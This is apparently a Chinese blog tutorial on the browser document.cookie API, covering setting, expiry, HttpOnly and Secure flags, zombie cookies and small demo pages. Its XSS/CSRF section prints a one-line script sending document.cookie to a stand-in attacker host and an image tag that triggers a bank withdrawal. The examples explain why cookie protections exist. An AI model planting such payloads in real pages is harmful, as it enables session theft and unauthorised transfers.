概述

前篇:web API简介(一):API,Ajax和Fetch

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。

Cookie介绍

cookies主要用来做如下事情:1.用户登录,购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。

cookies有很多问题。比如它的发送需要利用http请求,所以会有性能损耗;每种浏览器也有cookie条数限制,达到限制就会自动删除一些cookie;cookie还有很严重的安全问题。

cookies只有一个优点,就是它和老式的浏览器很兼容。0.0

Set Cookie

Set-Cookie: <cookie-name>=<cookie-value>

语法

//newCookie = "key=value"
document.cookie = newCookie;

还可以在后面添加这些信息:

(1)";path=path"

(2)";domain=domain"

(3)";max-age=max-age-in-seconds"

(4)";expires=date-in-GMTString-format"

Cookie的时效

如果没有写Expires或Max-Age,当浏览器关闭的时候Cookie会被删除。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

HttpOnly cookies

为了防止XSS(cross-site scripting)攻击,cookie可以加上Secure和HttpOnly,这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Xss和CSRF

XSS = cross-site scripting;CSRF = Cross-site request forgery。

下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候,会被盗钱。

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Zombie cookies

Zombie cookies = Evercookies。

这类cookies在被删除后会立刻重新建立,所以很难被删除。

相关方面的资料:Evercookie by Samy KamkarZombie cookies on Wikipedia

cookie操作实例

下面的代码拿到一个叫test2的cookie。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
document.cookie = "test1=Hello";
document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); function alertCookieValue() {
var showCookie = document.getElementById("show_cookie");
showCookie.innerText = cookieValue;
};
</script>
</head>
<body>
<button onclick="alertCookieValue()">显示cookie</button>
<div id="show_cookie"></div>
</body>
</html>

Document
<script>
document.cookie = "test1=Hello";
document.cookie = "test2=World";

    var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

    function alertCookieValue() {
var showCookie = document.getElementById("show_cookie");
showCookie.innerText = cookieValue;
};
&lt;/script>

显示cookie

下面的代码使事情只做一次。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
document.getElementById("do_once").disabled = true;
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
};
function resetOnce() {
document.getElementById("do_once").disabled = false;
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
</script>
</head>
<body>
<button id="do_once" onclick="doOnce()">Only do something once</button>
<button onclick="resetOnce()">Reset only once cookie</button>
</body>
</html>

Document
<script>
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
document.getElementById("do_once").disabled = true;
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
};
function resetOnce() {
document.getElementById("do_once").disabled = false;
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
</script>

Only do something once
Reset only once cookie

web API简介(二):客户端储存之document.cookie API的更多相关文章

  1. web API简介(三):客户端储存之Web Storage API

    概述 前篇:web API简介(二):客户端储存之document.cookie API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. W ...

  2. SAP Web Service简介与配置方法

    [版权声明]本文为博主原创文章,转载请在明显位置注明出处. 一. SAP Web Service简介 二. SAP Web Service配置准备工作 1. 通过RZ10配置服务器名称和其他参数 2. ...

  3. web API简介(四):客户端储存之IndexedDB API

    概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...

  4. web API简介(一):API,Ajax和Fetch

    概述 今天逛MDN,无意中看到了web API简介,觉得挺有意思的,就认真读了一下. 下面是我在读的时候对感兴趣的东西的总结,供自己开发时参考,相信对其他人也有用. 什么是API API (Appli ...

  5. Redis总结(五)缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结(一)AutoResetEvent的使用介绍(用AutoResetEvent实现同步) C#总结(二)事件Event 介绍总结 C#总结(三)DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列(六): RabbitMQ 高可用集群

    Redis总结(五)缓存雪崩和缓存穿透等问题   前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...

  6. Web Api 简介

    ASP.NET Web API 简介  ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...

  7. API简介(二)

    API简介(二) API简介(一)一文中,介绍了使用API的目的.设计.发行政策以及公共API的含义,本篇主要介绍API的用法,从库和框架.操作系统.远程API.Web API四个方面展开. 库和框架 ...

  8. amazeui学习笔记二(进阶开发2)--Web组件简介Web Component

    amazeui学习笔记二(进阶开发2)--Web组件简介Web Component 一.总结 1.amaze ui:amaze ui是一个web 组件, 由模板(hbs).样式(LESS).交互(JS ...

  9. Web安全学习二

    目录 常见漏洞攻防 SQL注入 注入分类 按技巧分类 按获取数据的方式分类 注入检测 权限提升 数据库检测 绕过技巧 CheatSheet SQL Server Payload MySQL Paylo ...

随机推荐

  1. Vue开源项目汇总(史上最全)(转)

    目录 UI组件 开发框架 实用库 服务端 辅助工具 应用实例 Demo示例 UI组件 element ★13489 - 饿了么出品的Vue2的web UI工具套件 Vux ★8133 - 基于Vue和 ...

  2. Sql Server数据库之约束

    一.约束的分类 实体约束:关于行的约束,比如某一行出现的值就不允许别的行出现,如主键 域约束:关于列的约束,对表中所有行的某些列进行约束,如check约束 参照完整性约束:如果某列的值必须与其他列的值 ...

  3. ArcGIS自定义工具箱-清空工作空间

    ArcGIS自定义工具箱-清空工作空间 联系方式:谢老师,135-4855-4328,xiexiaokui#qq.com 目的:删除工作空间里的要素类,栅格和独立表 使用方法: 例如"C:\ ...

  4. Tomcat9 在Windows中配置允许远程访问

    环境:Windows  Server 2019 Data Center+Tomcat 9 Tomcat在Windows中安装好了之后,默认只能从本机以http://localhost:8080的方式访 ...

  5. 20162322 朱娅霖 作业011 Hash

    20162322 2017-2018-1 <程序设计与数据结构>第十一周学习总结 教材学习内容总结 哈希方法 一.定义 哈希:次序--更具体来说是项在集合中的位置--由所保存元素值的某个函 ...

  6. Python练习-列表生成式-2018.11.30

    #用列表生成式创建[1x1, 2x2, 3x3, ..., 10x10] print([x*x for x in range(1,11)]) #用列表生成式创建[2x2, 4x4,,6×6,..., ...

  7. 547. Friend Circles 求间接朋友形成的朋友圈数量

    [抄题]: There are N students in a class. Some of them are friends, while some are not. Their friendshi ...

  8. node.js中express框架的基本使用

    express是一个基于node.js平台的,快速,开放,极简的web开发框架. 一.安装 express npm install express --save 二.简单使用 express //引入 ...

  9. 查找 管道 exec

    #查找150天为使用的文件并列出find -type f -mtime +150 -exec ls -ltr {} \;#查找150天内120外的文件find -type f -mtime -150 ...

  10. windows 性能监视器

    转载地址:https://www.cnblogs.com/luo-mao/p/5872374.html